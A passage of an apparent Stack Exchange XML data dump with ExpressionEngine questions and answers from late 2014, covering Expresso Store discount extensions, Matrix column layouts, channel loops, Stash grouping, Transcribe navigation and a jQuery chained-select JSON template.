($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call)&#xA;    {&#xA;        $order = $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call;&#xA;    }&#xA;&#xA;    // Get the number of products currently in the user's cart&#xA;     $order-&amp;gt;order_discount = 0;&#xA;     $total_q = 0;&#xA;&#xA;      foreach ($order-&amp;gt;items as $item) {&#xA;                $sku = $item-&amp;gt;sku;&#xA;                $item_q = $item-&amp;gt;item_qty * $sku;&#xA;                $total_q = $total_q + $item_q; &#xA;            }&#xA;&#xA;     if ($total_q &amp;gt;= 24 &amp;amp;&amp;amp; $total_q &amp;lt; 30){&#xA;     $order-&amp;gt;order_discount = $total_q  * 0.5;&#xA;     }&#xA;&#xA;     if ($total_q &amp;gt;= 30 &amp;amp;&amp;amp; $total_q &amp;lt; 60){&#xA;     $order-&amp;gt;order_discount = $total_q  * 0.6;&#xA;     }&#xA;&#xA;     if ($total_q &amp;gt;= 60 &amp;amp;&amp;amp; $total_q &amp;lt; 100){&#xA;     $order-&amp;gt;order_discount = $total_q * 0.95;&#xA;     }&#xA;&#xA;     if ($total_q &amp;gt;= 100 &amp;amp;&amp;amp; $total_q &amp;lt; 200){&#xA;     $order-&amp;gt;order_discount = $total_q * 1.5;&#xA;     }&#xA;&#xA;     if ($total_q &amp;gt;= 200 &amp;amp;&amp;amp; $total_q &amp;lt; 210){&#xA;     $order-&amp;gt;order_discount = $total_q * 1.55;&#xA;     }&#xA;&#xA;     if ($total_q &amp;gt;= 210){&#xA;     $order-&amp;gt;order_discount = $total_q * 1.7;&#xA;     }&#xA;&#xA;     return $order_discount;&#xA;}&#xA;}&#xA;&#xA;/* End of file ext.store_discount.php */&#xA;/* Location: /third_party/store_discount/ext.store_discount_batch.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;//UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed this procedure: &lt;a href=&quot;https://gist.github.com/bryantAXS/10882383&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/bryantAXS/10882383&lt;/a&gt;&#xA;Not sure where to go from here. I've not included the calculations for now, for testing purpose I've limited the discount amount to 4.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I created a new folder in third_party named store_helpers &lt;/li&gt;&#xA;&lt;li&gt;I created a new folder in there named store_helpers/classes&lt;/li&gt;&#xA;&lt;li&gt;I created a CustomDiscountAdjuster.php class inside it&lt;/li&gt;&#xA;&lt;li&gt;I created a ext.store_helpers.php file in third_party/store_helpers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My CustomDiscountAdjuster.php file contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Inside our custom third_party addon folder, /third_party/store_helpers, we have a folder called &quot;classes.&quot;&#xA;// Within the classes directory we have this file, which holds our custom build Adjuster Class.&#xA;//&#xA;// You should be able to see how this class is passed our $order object, and then instantiates a new &#xA;// Order Adjustment object, which we use to make the adjustment. There are a few properties on the Order Adjustment&#xA;// object (nane, type, amount, etc..) that define the adjustment. The adjustment is then returned and processed.&#xA;&#xA;&#xA;namespace Store\Adjuster;&#xA;&#xA;require PATH_THIRD.'store'.'/autoload.php';&#xA;&#xA;use Store\Model\Order;&#xA;use Store\Model\OrderAdjustment;&#xA;&#xA;/**&#xA; * Calculate handling surcharge applicable to an order&#xA; */&#xA;class CustomDiscountAdjuster implements AdjusterInterface&#xA;{&#xA;    public function adjust(Order $order)&#xA;    {&#xA;&#xA;&#xA;        $adjustment = new OrderAdjustment();&#xA;        $adjustment-&amp;gt;name = &quot;Custom Discount Adjuster&quot;;&#xA;        $adjustment-&amp;gt;type = 'Custom Discount';&#xA;        $adjustment-&amp;gt;amount = 10;&#xA;        $adjustment-&amp;gt;taxable = 1;&#xA;        $adjustment-&amp;gt;included = 1;&#xA;&#xA;        return array($adjustment);&#xA;&#xA;&#xA;&#xA;      return array();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My ext.store_helpers.php file contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * Store Discount Extension&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @subpackage  Addons&#xA; * @category    Extension&#xA; * @author      Milksamsa&#xA; * @link        http://&#xA; */&#xA;&#xA;class Store_helpers_ext  {&#xA;&#xA;    public $settings        = array();&#xA;    public $description     = 'Force discount based on item quantity and SKU multiplier';&#xA;    public $docs_url        = 'http://';&#xA;    public $name            = 'Store Custom EQ Discounts';&#xA;    public $settings_exist  = 'n';&#xA;    public $version         = '1.0';&#xA;&#xA;    private $EE;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   mixed   Settings array or empty string if none exist.&#xA;     */&#xA;    public function __construct($settings = '')&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;settings = $settings;&#xA;    }&#xA;&#xA;    // ----------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Activate Extension&#xA;     *&#xA;     * This function enters the extension into the exp_extensions table&#xA;     *&#xA;     * @see http://codeigniter.com/user_guide/database/index.html for&#xA;     * more information on the db class.&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    public function activate_extension()&#xA;    {&#xA;        // Setup custom settings in this array.&#xA;        $this-&amp;gt;settings = array();&#xA;&#xA;        // Add hooks&#xA;        $data = array(&#xA;            'class'     =&amp;gt; __CLASS__,&#xA;            'method'    =&amp;gt; 'update_cart',&#xA;            'hook'      =&amp;gt; 'store_order_adjusters',&#xA;            'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority'  =&amp;gt; 10,&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;    }&#xA;&#xA;    // ----------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Disable Extension&#xA;     *&#xA;     * This method removes information from the exp_extensions table&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function disable_extension()&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;delete('extensions');&#xA;    }&#xA;&#xA;    // ----------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Update Extension&#xA;     *&#xA;     * This function performs any necessary db updates when the extension&#xA;     * page is visited&#xA;     *&#xA;     * @return  mixed   void on update / false if none&#xA;     */&#xA;    public function store_order_adjusters($adjusters) &#xA;    {&#xA;      $adjusters[40] = new Store\Adjuster\CustomDiscountAdjuster;&#xA;      return $adjusters;&#xA;    }&#xA;&#xA;    // ----------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Responds to the store_cart_update_end hook in Exp:resso Store&#xA;     * to apply a discount to each product, as needed&#xA;     *&#xA;     * @return array of cart items&#xA;     */&#xA;&#xA;}&#xA;&#xA;/* End of file ext.store_discount.php */&#xA;/* Location: /third_party/store_helpers/ext.store_helpers.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Definitely something's going one, since taxes no longer get calculated when store_helpers extension is enabled&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="1148" LastEditDate="2015-01-20T15:19:01.587" LastActivityDate="2015-01-20T15:19:01.587" Title="Expresso Store 2.0 Discount based on item quantity and {sku} modifier" Tags="|expresso-store|ecommerce|expresso|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27026" PostTypeId="1" CreationDate="2014-12-05T12:30:09.580" Score="0" ViewCount="36" Body="&lt;p&gt;Is it possible to use the value that a user inputs into another input on the same form on submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that they input their phone number, in the phone_number field and on submit of the form it prepends phone_number infront of some other text in a seperate field on the same form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So end result is : 07231923738(prepended text) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-12-05T17:19:29.383" Title="Freeform, Entering a value and inserting the value in another field in same form" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27027" PostTypeId="1" AcceptedAnswerId="34265" CreationDate="2014-12-05T12:54:43.293" Score="3" ViewCount="204" Body="&lt;p&gt;I have a matrix field where the client can add as many rows as they like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rows get output to a 2 column layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col1&quot;&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Matrix row 1&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Matrix row 2&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;col2&quot;&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Matrix row 3&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Matrix row 4&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the template code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;&#xA;&amp;lt;div class=&quot;col1&quot;&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;{matrix_data}&amp;lt;/p&amp;gt;&#xA;&#xA;{if row_count == (total_rows / 2)}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;col2&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;{/matrix_field}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course &lt;code&gt;{if row_count == (total_rows / 2)}&lt;/code&gt; doesn't exist. How can this be achieved?&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="351" LastEditDate="2015-01-07T10:30:46.503" LastActivityDate="2015-10-02T08:51:43.330" Title="Matrix half of the total rows, output code at N row_count" Tags="|matrix|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27029" PostTypeId="2" ParentId="27021" CreationDate="2014-12-05T14:25:24.060" Score="0" Body="&lt;p&gt;Looks like the problem was just with an earlier version of Safari. Updating Safari sorted it out.&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2014-12-05T14:25:24.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27030" PostTypeId="2" ParentId="26730" CreationDate="2014-12-05T15:36:27.157" Score="0" Body="&lt;p&gt;Thanks for comments and for your example accessory foamcow. Reviewing your code helped me get on the right track and I eventually achieved what I needed by creating a little JavaScript snippet for use in my template. If anyone is interested in seeing the code have a look at &lt;a href=&quot;http://paste.ee/p/9nKli&quot; rel=&quot;nofollow&quot;&gt;http://paste.ee/p/9nKli&lt;/a&gt; and in the front-end template I just used &lt;code&gt;&amp;lt;span id=&quot;time_spent&quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt; to display the total.&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2014-12-05T15:36:27.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27031" PostTypeId="2" ParentId="26361" CreationDate="2014-12-05T15:54:22.700" Score="1" Body="&lt;p&gt;We also had this issue, solution we used is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content editor removes empty icons when it loads. As a result, the icon needs to have some type of content inside it for the editor to leave it be. We can do this by adding a non-breaking space to the icon:&#xA;&amp;lt;i class=&quot;fa fa-search fa-lg&quot;&amp;gt;&amp;ampnbsp;&amp;lt;/i&amp;gt;&lt;/p&gt;&#xA;" OwnerUserId="3853" LastEditorUserId="3853" LastEditDate="2014-12-05T16:03:48.743" LastActivityDate="2014-12-05T16:03:48.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27032" PostTypeId="2" ParentId="27026" CreationDate="2014-12-05T17:19:29.383" Score="1" Body="&lt;p&gt;You should be able to do with Javascript, as long as you explicitly target the fields by name or ID.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-12-05T17:19:29.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27033" PostTypeId="2" ParentId="26990" CreationDate="2014-12-05T17:31:09.517" Score="2" Body="&lt;p&gt;I'm seeing a literal &quot;empty_feed&quot; which indicates that you are missing some language files or that they are out of date. To me that puts a question to the state of other files, too, so refreshing your files may be in order (though might not fix the issue. I've commented for some more info, and can update this answer after you've tried that.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-12-05T17:31:09.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27035" PostTypeId="2" ParentId="27027" CreationDate="2014-12-05T19:07:47.067" Score="2" Body="&lt;p&gt;I've done that before using the &lt;a href=&quot;http://devot-ee.com/add-ons/simple-math&quot; rel=&quot;nofollow&quot;&gt;simple math&lt;/a&gt; add-on to do the calculation of where to break the matrix rows into their respective columns. Basically just plug in the matrix total rows variable, device by two and round up if you can (so that if there is an uneven number, the first column gets the extra one) and then use a conditional to insert the closing of column one and opening of column 2 (by comparing the result of the path to the current row count), and similarly use a conditional to close the second column. I don't recall if the Simple Math add-on actually supports rounding in any particular direction though - but there's more than one math add-on for EE that you may consider.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-12-05T19:07:47.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27038" PostTypeId="1" AcceptedAnswerId="27039" CreationDate="2014-12-05T21:59:11.283" Score="0" ViewCount="16" Body="&lt;p&gt;I have a channel rendering a page. I need to make a menu for a different channel with in that page. the two do not seem to be able to work independently. Is there a way to do this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe something like this, only this doesn't work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries &#xA;   channel=&quot;channel-1-content&quot;&#xA;   limit=&quot;1&quot;&#xA;   }&#xA;&#xA;{some content}&#xA;&#xA;{/exp:channel:entries}  &#xA;&#xA;{exp:channel:entries &#xA;   channel=&quot;channel-2-menu-items&quot;&#xA;   limit=&quot;10&quot;&#xA;   }&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries} &#xA;&#xA;  {exp:channel:entries &#xA;   channel=&quot;channel-1-content&quot;&#xA;   limit=&quot;1&quot;&#xA;   }&#xA;&#xA;{some content}&#xA;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-12-05T23:55:50.850" Title="Create a menu from a different channel on page with separate channel loop" Tags="|channel-entries|templates|list|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27039" PostTypeId="2" ParentId="27038" CreationDate="2014-12-05T23:55:50.850" Score="0" Body="&lt;p&gt;Can you try adding &lt;code&gt;dynamic=no&lt;/code&gt; on your 2nd loop. By default channel entries look for a segment in the URL, adding dynamic tells it to ignore whatever's in the URL.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-12-05T23:55:50.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27040" PostTypeId="1" AcceptedAnswerId="27044" CreationDate="2014-12-06T00:46:09.950" Score="2" ViewCount="362" Body="&lt;p&gt;I have banner ads stored in a channel and these are associated using a single entry Playa field with clients stored in another. I need to display random banners on a page but without ever showing more than one banner from each client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel entries has no concept of 'Group By' so how am I best to go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end I wrote an extension to do this though the answer below would work equally well. You can download the 'Group By' extension here - &lt;a href=&quot;https://github.com/ninefour/group_by.ext.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/group_by.ext.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-12-08T13:21:13.287" LastActivityDate="2014-12-08T13:21:13.287" Title="Group by within a Channel Entries loop" Tags="|channel-entries|loop|grouping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27041" PostTypeId="1" CreationDate="2014-12-06T03:43:53.203" Score="1" ViewCount="863" Body="&lt;p&gt;I have this PHP warning noticed that's appearing in one of my channels and I'm not sure what the issue is. My channel has 9 custom fields; 4 grid fields, 3 text input fields, a text area field and a file upload field. I don't think there is anything overly complicated happening with these fields. I have Field Pack installed but i'm not using it within this channels custom fields. Has anyone else had a similar issue? What are some things I should look out for that might be causing this to appear? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes: This was a fresh install of EE 2.9.2. Field Pack version is 2.2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_ta_rows&#xA;Filename: textarea/ft.textarea.php&#xA;Line Number: 77&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3855" LastActivityDate="2016-11-16T20:17:28.877" Title="PHP Error Notice Undefined index: field_ta_rows in textarea/ft.textarea.php" Tags="|custom-fields|php-errors|textarea|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27042" PostTypeId="1" CreationDate="2014-12-06T06:43:08.550" Score="0" ViewCount="27" Body="&lt;p&gt;In expression engine for different channel titles different view count is there .But how we can avoid same ip address again from view count.&lt;/p&gt;&#xA;" OwnerUserId="3856" LastActivityDate="2015-03-08T07:18:38.553" Title="In Expression Engine How we can avoid same ip address again from entry views tracking" Tags="|ee2|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27044" PostTypeId="2" ParentId="27040" CreationDate="2014-12-06T16:22:18.410" Score="3" Body="&lt;p&gt;I would use Stash to do this. See the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Listing-entries-per-category&quot; rel=&quot;nofollow&quot;&gt;example on the Stash wiki about grouping by with categories&lt;/a&gt;, which should work similar for the Playa field you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within a banner's loop first create a stash list (by appending) of the banner ads with the client's id in name, something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;banner_{*playa field client entry id tag*}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then within a client's loop output the stash list, limiting the amount of banners to 1, like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;banner_{*playa field client entry id tag*}&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-12-06T16:22:18.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27045" PostTypeId="2" ParentId="25759" CreationDate="2014-12-06T16:24:52.800" Score="1" Body="&lt;p&gt;I just encountered this same issue, and filed a bug report - including a fix:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20680&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20680&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-06T16:24:52.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27046" PostTypeId="1" CreationDate="2014-12-06T23:23:36.783" Score="0" ViewCount="119" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://leafletjs.com/&quot; rel=&quot;nofollow&quot;&gt;leaflet.js&lt;/a&gt; to create a map page displaying events with descriptive map pins based on location. The javascript initialization for each pin looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;L.marker([41.8781136, -87.62979819999998], {icon: mainIcon}).addTo(map)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm then binding a pop-up to each pin with text to describe the relevant event. Thus, I'm wondering if there is an EE add-on that would, ideally, auto-populate fields for latitude and longitude when a user enters a city and state-- such as San Francisco, CA-- from which I can then pull the info with EE channel fields via in the following manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;L.marker([{lat}, {lon}], {icon: mainIcon}).addTo(map)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all the functionality I would need-- is there a simple add-on out there that would make this possible? Thanks for any guidance here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2014-12-06T23:23:36.783" Title="Add-on to auto-populate latitude/longitude fields based on user-entered location?" Tags="|channel-entries|add-on|custom-fields|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27048" PostTypeId="1" CreationDate="2014-12-07T17:09:16.840" Score="0" ViewCount="48" Body="&lt;p&gt;When removing an item from the cart in Store, I'm seeing the order being changed to Paid=Yes in Orders. It correctly stays as Incomplete status and doesn't show any items in the details, but Paid is Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing works correctly otherwise, and am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button class=&quot;cart-remove-btn&quot; type=&quot;submit&quot; name=&quot;remove_items[{key}]&quot; value=&quot;x&quot;&amp;gt;x&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within the Store checkout form.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2, Store version: 2.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 simple custom Store extension: uses on_store_order_complete_end to update Entry status &lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-12-07T21:01:05.653" LastActivityDate="2014-12-07T21:01:05.653" Title="Store: Removing item from cart triggers paid=yes" Tags="|expresso-store|checkout|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27049" PostTypeId="2" ParentId="27042" CreationDate="2014-12-08T06:14:29.727" Score="1" Body="&lt;p&gt;The EE template count doesn't filter on individual IPs, or not count duplicate IPs. You're better off using Google's webmaster tools and use their tracking when it comes to page counts. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-12-08T06:14:29.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27050" PostTypeId="1" AcceptedAnswerId="27051" CreationDate="2014-12-08T07:08:03.473" Score="1" ViewCount="116" Body="&lt;p&gt;I'm using Transcribe and Structure to build multi-lingual sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come across an issue using the Prev and Next entry tags. I want users to be able to go to the next/prev blog posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I include the standard EE tags (below) it includes all entries, from both language sites. I need to just display the entries from the Transcribe language site you are on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:next_entry channel=&quot;blog&quot; transcribe=&quot;disable&quot;}&#xA;    &lt;p&gt;Next entry: {title}&lt;/p&gt;&#xA;{/exp:channel:next_entry}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:prev_entry channel=&quot;blog&quot; transcribe=&quot;disable&quot;}&#xA;    &lt;p&gt;Previous entry: {title}&lt;/p&gt;&#xA;{/exp:channel:prev_entry}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also clicking on a prev/next link that is to a post from another language just gives me an empty screen, which you would expect as the content is specific to the other language site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any ideas on how I can work around this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Darren&lt;/p&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2014-12-08T08:43:09.443" Title="Prev/next entry linking when using Transcribe" Tags="|structure|transcribe|entry|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27051" PostTypeId="2" ParentId="27050" CreationDate="2014-12-08T08:43:09.443" Score="3" Body="&lt;p&gt;it should work according to the docs. have a look here: &lt;a href=&quot;http://eeharbor.com/transcribe/faq&quot; rel=&quot;nofollow&quot;&gt;http://eeharbor.com/transcribe/faq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Transcribe work with the next_prev tag?&#xA;Yes, Transcribe does work with the next_entry and prev_entry tags in ExpressionEngine, please note, it requires you to use the parse=&quot;inward&quot; parameter, Here is an example of how it works -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; paginate=&quot;bottom&quot; limit=&quot;1&quot;dynamic=&quot;no&quot; }&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:next_entry entry_id='{exp:transcribe:entry_ids channel=&quot;news&quot;}' parse=&quot;inward&quot;}&#xA;    &amp;lt;p&amp;gt;Next entry: &amp;lt;a href=&quot;{path='your/path'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&#xA;{exp:channel:prev_entry entry_id='{exp:transcribe:entry_ids channel=&quot;news&quot;}' parse=&quot;inward&quot;}&#xA;    &amp;lt;p&amp;gt;Previous entry: &amp;lt;a href=&quot;{path='your/path'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-12-08T08:43:09.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27052" PostTypeId="1" CreationDate="2014-12-08T09:57:10.180" Score="0" ViewCount="1332" Body="&lt;p&gt;I am using a &lt;a href=&quot;http://www.appelsiini.net/projects/chained&quot; rel=&quot;nofollow&quot;&gt;jQuery Chained Select Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But getting stuck loading the data dynamically to select options from my Expression Engine template. Seems pulling the value from the JSON url is causing the error, manually changing the mo'variable from url_title=&quot;{get:series}&quot; to an entry url_title=&quot;test&quot; makes the drop down work. What could be going wrong? How can I check what the URL is the plugin is outputting?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;select id=&quot;mark-remote&quot; data-variable=&quot;bar&quot; name=&quot;mark&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;bmw&quot;&amp;gt;BMW&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;audi&quot;&amp;gt;Audi&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;select id=&quot;series-remote&quot; name=&quot;series&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;button id=&quot;button-remote&quot; type=&quot;submit&quot;&amp;gt;Button&amp;lt;/button&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;        $(function() {&#xA;            /* For jquery.chained.remote.js */&#xA;            $(&quot;#series-remote&quot;).remoteChained({&#xA;                parents: &quot;#mark-remote&quot;,&#xA;                url: &quot;http://example.com/json&quot;,&#xA;                loading: &quot;--&quot;&#xA;&#xA;            });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Expression Engine JSON template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:http_header content_type=&quot;application/json&quot;}&#xA;&#xA;[&#xA;    {&quot;&quot; : &quot;--&quot;,&#xA;    {exp:channel:entries channel=&quot;articles&quot; dynamic=&quot;on&quot; url_title=&quot;{get:series}&quot; disable=&quot;categories|trackbacks|member_data|pagination&quot;}&#xA;    {relatedarticle backspace=&quot;3&quot;}&#xA;&quot;{relatedarticle:url_title}&quot;:&quot;{relatedarticle:title}&quot;, &#xA;    {/relatedarticle}&#xA;    {/exp:channel:entries}&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JSON output (Adding this manually to the template loads the data 